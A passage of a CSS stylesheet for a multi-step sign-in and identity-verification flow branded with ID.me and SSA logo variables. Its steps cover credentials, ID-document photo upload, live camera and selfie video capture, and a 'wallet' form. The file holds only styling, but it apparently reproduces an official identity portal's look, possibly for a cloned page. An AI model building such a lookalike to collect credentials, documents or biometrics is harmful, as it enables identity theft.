  margin: 0 auto;
  border: 0;
  border-radius: var(--radius);
  background: #ffffff;
  box-shadow: var(--shadow);
  min-height: 0;
}

.panel-inner,
.panel-inner--signin,
.panel-inner--verify,
.panel-inner--identity,
.page[data-step] .panel-inner--signin,
.page[data-step] .panel-inner--verify,
.page[data-step] .panel-inner--identity {
  width: 100%;
  max-width: none;
  padding: var(--form-padding);
}

h1,
h2,
.panel-inner--signin h1,
.page[data-step="1"] .panel-inner--signin h1,
.panel-inner--verify h2,
.page[data-step="2"] .panel-inner--verify h2,
.identity-title {
  color: #2e3f51;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 26px;
  font-weight: 600;
  letter-spacing: 0;
  line-height: 1.4117647059;
  margin: 0 0 25px;
  text-align: center;
}

.signin-form {
  margin-top: 0;
}

.field-label,
.panel-inner--signin .field-label,
.page[data-step="1"] .field-label,
.doc-label,
.field-label--phone {
  display: inline;
  margin: 0;
  color: #2e3f51;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 14px;
  font-weight: 600;
  line-height: 14px;
}

.field input,
.panel-inner--signin .field input,
.page[data-step="1"] .field input,
.compact-field input,
.phone-input-wrap input {
  width: 100%;
  height: 54px;
  margin-top: 5px;
  padding: 15px;
  border: 2px solid #949494;
  border-radius: 5px;
  background: #ffffff;
  box-shadow: none;
  color: #2e3f51;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 17px;
  font-weight: 400;
  outline: none;
}

.field input:hover,
.phone-input-wrap input:hover {
  border-color: #757575;
}

.field input:focus,
.phone-input-wrap input:focus {
  border-color: #266aca;
  outline: 2.5px solid #0050c7;
  outline-offset: -1px;
}

.field input::placeholder {
  color: #949494;
}

.signin-form .field + .field {
  margin-top: 25px;
}

.remember-row {
  display: block;
  position: relative;
  margin: 15px 0 0;
  padding: 5px 0;
  color: #2e3f51;
  cursor: pointer;
  font-size: 14px;
  font-weight: 600;
  line-height: 18px;
  text-align: start;
}

.remember-row input {
  position: absolute;
  inset-inline-start: 0;
  top: 5px;
  width: 20px;
  height: 20px;
  margin: 0;
  opacity: 0;
}

.remember-row span:last-child {
  display: block;
  padding-inline-start: 30px;
}

.remember-box {
  position: absolute;
  inset-inline-start: 2px;
  top: 5px;
  width: 18px;
  height: 18px;
  border: 2px solid #949494;
  border-radius: 3px;
  background: #ffffff;
}

.remember-row input:checked + .remember-box {
  border-color: #08833d;
  background: #08833d;
}

.remember-row input:checked + .remember-box::after {
  content: "";
  position: absolute;
  left: 5px;
  top: 1px;
  width: 5px;
  height: 10px;
  border-right: 2px solid #ffffff;
  border-bottom: 2px solid #ffffff;
  transform: rotate(45deg);
}

.primary-btn,
.primary-btn--xl,
.primary-btn--lg,
.primary-btn--md,
.page[data-step="1"] .primary-btn--xl {
  display: flex;
  align-items: center;
  justify-content: center;
  width: 100%;
  min-height: 53px;
  margin: 0 auto;
  padding: 15px 30px;
  border: 2px solid transparent;
  border-radius: 5px;
  background: #266aca;
  box-shadow: none;
  color: #ffffff;
  font-family: "Open Sans", Arial, Helvetica, sans-serif;
  font-size: 16px;
  font-weight: 600;
  line-height: 1.2;
  text-align: center;
}

.primary-btn:hover {
  background: #3069bb;
}

.signin-form .primary-btn--xl {
  margin-top: 20px;
}

.page[data-step="1"] .signin-form .primary-btn--xl {
  margin-top: 28px;
}

.cta {
  margin-top: 0;
  margin-bottom: 25px;
  padding: 0 20px;
  color: #2e3f51;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 16px;
  font-weight: 400;
  line-height: 1.25;
  text-align: center;
}

.page[data-step="1"] .cta {
  margin-top: 22px;
  margin-bottom: 25px;
  font-size: 15px;
  line-height: normal;
}

.cta a,
.verify-link a,
.identity-links a,
.footer-links a,
.text-link,
.document-switcher button {
  color: #266aca;
  font-weight: 600;
  text-decoration: underline;
  text-underline-offset: 2px;
}

.cta a:hover,
.verify-link a:hover,
.identity-links a:hover,
.footer-links a:hover,
.text-link:hover,
.document-switcher button:hover {
  text-decoration: underline;
}

.cta a {
  font-size: 14px;
  font-weight: 400;
}

.eyebrow {
  margin-bottom: 25px;
  color: #2e3f51;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 17px;
  font-weight: 600;
  letter-spacing: 1.5px;
  line-height: 1.4117647059;
  text-align: center;
  text-transform: uppercase;
}

.eyebrow--compact {
  margin-bottom: 20px;
}

.panel-inner--verify h2,
.page[data-step="2"] .panel-inner--verify h2 {
  max-width: none;
  margin: 0 0 25px;
}

.verify-options {
  max-width: none;
  margin: 0 0 20px;
  gap: 0;
}

.verify-option {
  grid-template-columns: 28px 1fr;
  gap: 15px;
  padding: 16px 0;
  border-top: 1px solid #dfdfdf;
}

.verify-option:last-child {
  border-bottom: 1px solid #dfdfdf;
}

.radio {
  width: 22px;
  height: 22px;
  margin-top: 1px;
  border: 2px solid #949494;
}

.radio--selected {
  border-color: #266aca;
}

.radio--selected::after {
  inset: 4px;
  background: #266aca;
}

.verify-copy {
  gap: 5px;
}

.verify-title {
  color: #2e3f51;
  font-size: 16px;
  font-weight: 600;
  line-height: 1.25;
}

.verify-time,
.verify-text {
  color: #2e3f51;
  font-size: 14px;
  font-weight: 400;
  line-height: 1.35;
}

.verify-time {
  color: #08833d;
  font-weight: 600;
}

.primary-btn--lg {
  margin-top: 20px;
}

.progress {
  width: min(100%, 245px);
  margin-bottom: 25px;
}

.progress-step {
  width: 26px;
  height: 26px;
  font-size: 13px;
}

.identity-title {
  max-width: none;
}

.identity-intro,
.identity-copy {
  max-width: none;
  margin: 0 0 20px;
  padding: 0 20px;
  color: #2e3f51;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 16px;
  font-weight: 400;
  line-height: 1.4;
  text-align: center;
}

.doc-section,
.phone-field,
.upload-list,
.wallet-form {
  margin-top: 20px;
}

.doc-card,
.info-callout,
.upload-box {
  border-radius: 0;
  font-size: 14px;
}

.doc-card {
  min-height: 54px;
  padding: 15px;
}

.text-link {
  min-height: 0;
  font-size: 14px;
}

.document-switcher button {
  font-size: 14px;
}

.phone-input-wrap input {
  padding-left: 50px;
}

.info-callout {
  margin-top: 20px;
  padding: 15px;
  line-height: 1.35;
}

.identity-links {
  gap: 20px;
  margin-top: 20px;
  color: #2e3f51;
  font-size: 14px;
  font-weight: 600;
}

.site-footer,
.page[data-step] .site-footer {
  display: grid;
  justify-items: center;
  gap: 30px;
  padding: 30px 0;
}

.language-selection {
  display: table;
  margin: 0 auto;
  line-height: 25px;
}

.page[data-step] .language-selection,
.page[data-step="1"] .language-selection {
  display: table;
}

.language-selection-toggle {
  display: inline-flex;
  align-items: center;
  gap: 6px;
  min-height: 25px;
  padding: 0;
  border: 0;
  color: #266aca;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 13px;
  font-weight: 600;
  line-height: 25px;
  text-decoration: underline;
  text-underline-offset: 2px;
}

.language-selection-toggle svg {
  width: 14px;
  height: 7px;
  color: #949494;
}

.language-selection-list {
  display: flex;
  gap: 8px;
}

.language-selection-list[hidden] {
  display: none;
}

.language-selection-list .option {
  min-height: 30px;
  padding: 5px 10px;
  border: 1px solid #ffffff;
  border-radius: 0;
  background: #f5f5f5;
  color: #2e3f51;
  font-size: 13px;
  font-weight: 600;
}

.footer-links {
  display: flex;
  flex-wrap: wrap;
  align-items: center;
  justify-content: center;
  gap: 0;
  width: 100%;
  color: #2e3f51;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 13px;
  font-weight: 500;
  line-height: 1.6;
  text-align: center;
}

.footer-links a {
  margin: 0 8px;
  color: #266aca;
  font-size: 13px;
  font-weight: 500;
  text-decoration: underline;
  text-underline-offset: 2px;
}

.footer-links span {
  color: #2e3f51;
  font-weight: 700;
}

@media (max-width: 479px) {
  body,
  body[data-step] {
    --bg-break: 135px;
  }

  .page {
    display: block;
    background: linear-gradient(to bottom, #ffffff 135px, #f5f5f5 0);
  }

  .brand-strip,
  .page[data-step] .brand-strip {
    width: 100%;
    padding: 25px 10px 30px;
    gap: 25px;
  }

  .page[data-step] {
    --brand-idme: 80px;
    --brand-ssa: 60px;
  }

  .panel,
  .panel--wide,
  .panel--narrow,
  .page[data-step] .panel--wide,
  .page[data-step] .panel--narrow {
    width: 100%;
    max-width: none;
    border-radius: 0;
  }

  .panel-inner,
  .panel-inner--signin,
  .panel-inner--verify,
  .panel-inner--identity,
  .page[data-step] .panel-inner--signin,
  .page[data-step] .panel-inner--verify,
  .page[data-step] .panel-inner--identity {
    padding: 30px;
  }

  h1,
  h2,
  .panel-inner--signin h1,
  .page[data-step="1"] .panel-inner--signin h1,
  .panel-inner--verify h2,
  .page[data-step="2"] .panel-inner--verify h2,
  .identity-title {
    font-size: 26px;
    line-height: 1.4117647059;
    margin-bottom: 25px;
  }

  .field input,
  .panel-inner--signin .field input,
  .page[data-step="1"] .field input,
  .compact-field input,
  .phone-input-wrap input {
    height: 54px;
    padding: 15px;
    border-width: 2px;
    border-radius: 5px;
    font-size: 17px;
  }

  .phone-input-wrap input {
    padding-left: 50px;
  }

  .site-footer,
  .page[data-step] .site-footer {
    gap: 15px;
    padding: 30px 0 15px;
  }

  .footer-links {
    display: block;
  }

  .footer-links a {
    margin: 0 8px;
  }
}

/* Uploaded-page flow alignment */
.page[data-step] .flow {
  display: none !important;
}

.page[data-step="1"] .flow-signin,
.page[data-step="2"] .flow-email,
.page[data-step="3"] .flow-verify,
.page[data-step="4"] .flow-identity,
.page[data-step="5"] .flow-capture-list,
.page[data-step="6"] .flow-prepare,
.page[data-step="7"] .flow-upload-doc,
.page[data-step="8"] .flow-auth-check,
.page[data-step="9"] .flow-done,
.page[data-step="10"] .flow-wallet,
.page[data-step="11"] .flow-video-capture {
  display: block !important;
}

.flow-heading {
  margin: 0 0 22px;
  color: #2e3f51;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 28px;
  font-weight: 600;
  line-height: 1.35;
  text-align: center;
}

.panel-inner--email {
  text-align: center;
}

.email-shield {
  display: block;
  width: 88px;
  height: 88px;
  margin: 8px auto 24px;
}

.warning-callout,
.email-confirm-card {
  width: 100%;
  margin-top: 20px;
  border: 1px solid #d9e2ec;
  background: #f8fafc;
  color: #2e3f51;
  font-size: 14px;
  line-height: 1.45;
  text-align: left;
}

.warning-callout {
  padding: 14px 16px;
  border-left: 4px solid #f3b33d;
}

.email-confirm-card {
  display: grid;
  gap: 6px;
  padding: 16px;
}

.email-confirm-card strong {
  overflow-wrap: anywhere;
  color: #2e3f51;
  font-size: 16px;
  font-weight: 600;
}

.secondary-btn {
  display: flex;
  align-items: center;
  justify-content: center;
  width: 100%;
  min-height: 53px;
  margin-top: 12px;
  padding: 14px 20px;
  border: 1px solid #266aca;
  border-radius: 5px;
  background: #ffffff;
  color: #266aca;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 16px;
  font-weight: 700;
  line-height: 1.2;
}

.document-switcher[hidden] {
  display: none;
}

.document-switcher {
  display: grid;
  gap: 10px;
  margin-top: 10px;
  padding: 0;
}

.document-switcher button {
  width: 100%;
  min-height: 42px;
  padding: 8px 0;
  border: 0;
  background: transparent;
  color: #266aca;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 14px;
  font-weight: 600;
  line-height: 1.35;
  text-align: left;
  text-decoration: underline;
  text-underline-offset: 2px;
}

.phone-field {
  position: relative;
}

.phone-input-wrap,
.panel-inner--identity .phone-input-wrap {
  position: relative;
  display: block;
  width: 100%;
}

.phone-input-wrap.iti {
  position: relative;
  display: block;
  width: 100%;
}

.iti * {
  box-sizing: border-box;
}

.iti__hide {
  display: none;
}

.iti__flag-container {
  position: absolute;
  top: 0;
  bottom: 0;
  left: 0;
  z-index: 2;
  padding: 1px;
}

.iti__selected-flag {
  z-index: 1;
  position: relative;
  display: flex;
  align-items: center;
  height: 100%;
  padding: 0 6px 0 8px;
  cursor: pointer;
}

.iti__selected-flag:hover,
.iti__selected-flag:focus {
  background: rgba(0, 0, 0, 0.05);
  outline: none;
}

.iti__arrow {
  width: 0;
  height: 0;
  margin-left: 6px;
  border-top: 4px solid #555555;
  border-right: 3px solid transparent;
  border-left: 3px solid transparent;
}

.iti__arrow--up {
  border-top: 0;
  border-bottom: 4px solid #555555;
}

.phone-input-wrap input,
.panel-inner--identity .phone-input-wrap input {
  width: 100%;
  height: 54px;
  margin-top: 0 !important;
  margin-bottom: 0 !important;
  padding: 15px 15px 15px 52px;
  border: 2px solid #949494;
  border-radius: 5px;
}

.iti__country-list {
  position: absolute;
  top: calc(100% + 4px);
  left: 0;
  z-index: 20;
  width: min(395px, calc(100vw - 60px));
  max-height: 248px;
  margin: 0;
  padding: 0;
  overflow-y: auto;
  border: 1px solid #949494;
  border-radius: 3px;
  background: #ffffff;
  box-shadow: 0 6px 18px rgba(46, 63, 81, 0.18);
  color: #2e3f51;
  font-size: 13px;
  list-style: none;
}

.iti__country {
  display: flex;
  align-items: center;
  min-height: 36px;
  padding: 8px 10px;
  cursor: pointer;
}

.iti__country:hover,
.iti__country:focus,
.iti__country.iti__active {
  background: #f1f6fb;
  outline: none;
}

.iti__flag-box {
  display: flex;
  align-items: center;
  width: 28px;
  margin-right: 8px;
}

.iti__country-name {
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
}

.iti__dial-code {
  margin-left: auto;
  color: #5b6b7a;
  font-weight: 600;
}

.iti__flag {
  display: inline-block;
  width: 20px;
  height: 14px;
  background: #d9e2ec;
  box-shadow: 0 0 1px rgba(46, 63, 81, 0.7);
}

.iti__flag.iti__us {
  height: 11px;
  background:
    linear-gradient(#22467a, #22467a) 0 0 / 8px 6px no-repeat,
    repeating-linear-gradient(to bottom, #b22234 0 1px, #ffffff 1px 2px);
}

.iti__flag.iti__cn {
  background:
    radial-gradient(circle at 5px 4px, #ffde00 0 2px, transparent 2.4px),
    #de2910;
}

.iti__flag.iti__ca {
  background: linear-gradient(to right, #d80621 0 25%, #ffffff 25% 75%, #d80621 75%);
}

.iti__flag.iti__gb,
.iti__flag.iti__au,
.iti__flag.iti__nz {
  background:
    linear-gradient(35deg, transparent 42%, #ffffff 42% 48%, #c8102e 48% 53%, #ffffff 53% 59%, transparent 59%),
    linear-gradient(-35deg, transparent 42%, #ffffff 42% 48%, #c8102e 48% 53%, #ffffff 53% 59%, transparent 59%),
    linear-gradient(to right, transparent 43%, #ffffff 43% 57%, transparent 57%),
    linear-gradient(to bottom, transparent 38%, #ffffff 38% 62%, transparent 62%),
    #012169;
}

.iti__flag.iti__jp {
  background: radial-gradient(circle at 50% 50%, #bc002d 0 4px, transparent 4.5px), #ffffff;
}

.iti__flag.iti__kr {
  background: radial-gradient(circle at 50% 50%, #c60c30 0 4px, #003478 4px 7px, transparent 7.5px), #ffffff;
}

.iti__flag.iti__de {
  background: linear-gradient(to bottom, #000000 0 33%, #dd0000 33% 66%, #ffce00 66%);
}

.iti__flag.iti__fr,
.iti__flag.iti__nl,
.iti__flag.iti__ru {
  background: linear-gradient(to right, #0055a4 0 33%, #ffffff 33% 66%, #ef4135 66%);
}

.iti__flag.iti__it,
.iti__flag.iti__mx {
  background: linear-gradient(to right, #009246 0 33%, #ffffff 33% 66%, #ce2b37 66%);
}

.iti__flag.iti__es {
  background: linear-gradient(to bottom, #aa151b 0 25%, #f1bf00 25% 75%, #aa151b 75%);
}

.iti__flag.iti__br {
  background: radial-gradient(circle at 50% 50%, #002776 0 4px, transparent 4.5px), linear-gradient(35deg, transparent 36%, #ffdf00 36% 64%, transparent 64%), #009b3a;
}

.photo-card-list {
  display: grid;
  gap: 14px;
  margin-top: 22px;
}

.photo-card {
  display: grid;
  grid-template-columns: 82px minmax(0, 1fr);
  gap: 14px;
  align-items: center;
  width: 100%;
  min-height: 96px;
  padding: 14px;
  border: 1px solid #d0d7de;
  border-radius: 5px;
  background: #ffffff;
  color: #2e3f51;
  font: inherit;
  text-align: left;
}

.photo-card:hover,
.photo-card:focus-visible {
  border-color: #266aca;
  outline: none;
}

.photo-card img {
  width: 82px;
  height: 58px;
  object-fit: contain;
}

.photo-card-copy {
  display: grid;
  gap: 5px;
  min-width: 0;
}

.photo-card-copy strong {
  color: #2e3f51;
  font-size: 14px;
  font-weight: 600;
  line-height: 1.35;
}

.photo-card-copy span {
  color: #5b6b7a;
  font-size: 13px;
  line-height: 1.3;
}

.photo-card.is-complete {
  border-color: #1d7f4f;
  background: #f4fbf7;
}

.photo-card.is-complete .photo-card-copy span {
  color: #1d7f4f;
  font-weight: 600;
}

.image-hints {
  display: grid;
  gap: 10px;
  margin: 22px 0 0;
  padding-left: 20px;
  color: #2e3f51;
  font-size: 14px;
  line-height: 1.45;
}

.capture-error.is-visible {
  display: block;
  margin-top: 14px;
}

.prepare-icon {
  display: block;
  width: 54px;
  height: 54px;
  margin: 4px auto 20px;
}

.prepare-list {
  margin-top: 18px;
  color: #2e3f51;
  font-size: 14px;
  line-height: 1.45;
}

.prepare-list p {
  margin: 0 0 8px;
  font-weight: 600;
}

.prepare-list ul {
  display: grid;
  gap: 7px;
  margin: 0;
  padding-left: 20px;
}

.upload-camera-box {
  display: grid;
  place-items: center;
  width: 100%;
  min-height: 170px;
  margin-top: 20px;
  padding: 24px;
  border: 1px dashed #9aa8b5;
  border-radius: 5px;
  background: #f8fafc;
}

.upload-camera-box img {
  width: min(100%, 230px);
  height: auto;
  border-radius: 6px;
}

.upload-camera-box video {
  width: 100%;
  max-width: 280px;
  border-radius: 8px;
  background: #111827;
  object-fit: cover;
}

.upload-camera-box.is-live {
  background: #111827;
  border-color: #1f3b57;
}

.upload-live-status {
  margin-top: 14px;
  font-size: 0.94rem;
}

.upload-live-error {
  margin-top: 10px;
  text-align: center;
}

.upload-live-error.is-visible {
  display: block;
}

.panel-inner--status {
  min-height: 360px;
  text-align: center;
}

.status-title {
  margin: 0 0 34px;
  color: #2e3f51;
  font-family: "Poppins", Arial, Helvetica, sans-serif;
  font-size: 26px;
  font-weight: 600;
  line-height: 1.4;
  text-align: center;
}

.status-spinner {
  display: grid;
  place-items: center;
  margin: 8px auto 28px;
}

.status-spinner img {
  width: 70px;
  height: 70px;
}

.status-waiting {
  margin-bottom: 24px;
  padding: 0;
  font-size: 15px;
}

.video-capture-frame {
  position: relative;
  display: grid;
  place-items: center;
  width: 100%;
  aspect-ratio: 4 / 3;
  margin-top: 20px;
  border-radius: 5px;
  background: #1f2933;
  color: #d9e2ec;
  overflow: hidden;
}

.video-capture-frame::before {
  content: "";
  position: absolute;
  inset: 0;
  background: linear-gradient(180deg, rgba(255, 255, 255, 0.06), transparent);
}

.video-preview {
  position: absolute;
  inset: 0;
  width: 100%;
  height: 100%;
  object-fit: cover;
  z-index: 1;
  background: #111827;
}

.video-preview:not([hidden]) + .face-oval,
.video-preview:not([hidden]) ~ [data-video-placeholder-text] {
  display: none;
}

.face-oval {
  position: absolute;
  width: 44%;
  height: 62%;
  border: 3px solid #ffffff;
  border-radius: 50%;
  box-shadow: 0 0 0 999px rgba(0, 0, 0, 0.18);
}

.video-capture-frame span {
  position: relative;
  z-index: 2;
  margin-top: 58%;
  font-size: 13px;
  font-weight: 600;
}

@media (max-width: 479px) {
  .email-shield {
    width: 76px;
    height: 76px;
    margin-bottom: 20px;
  }

  .photo-card {
    grid-template-columns: 72px minmax(0, 1fr);
    min-height: 88px;
    padding: 12px;
  }

  .photo-card img {
    width: 72px;
    height: 52px;
  }

  .upload-camera-box {
    min-height: 150px;
    padding: 18px;
  }

  .flow-heading,
  .status-title {
    font-size: 26px;
  }

  .phone-input-wrap,
  .panel-inner--identity .phone-input-wrap {
    display: block;
  }

  .phone-input-wrap input,
  .panel-inner--identity .phone-input-wrap input {
    padding-left: 52px;
    border: 2px solid #949494;
    border-radius: 5px;
  }

  .iti__country-list {
    width: 330px;
    max-height: 220px;
  }
}
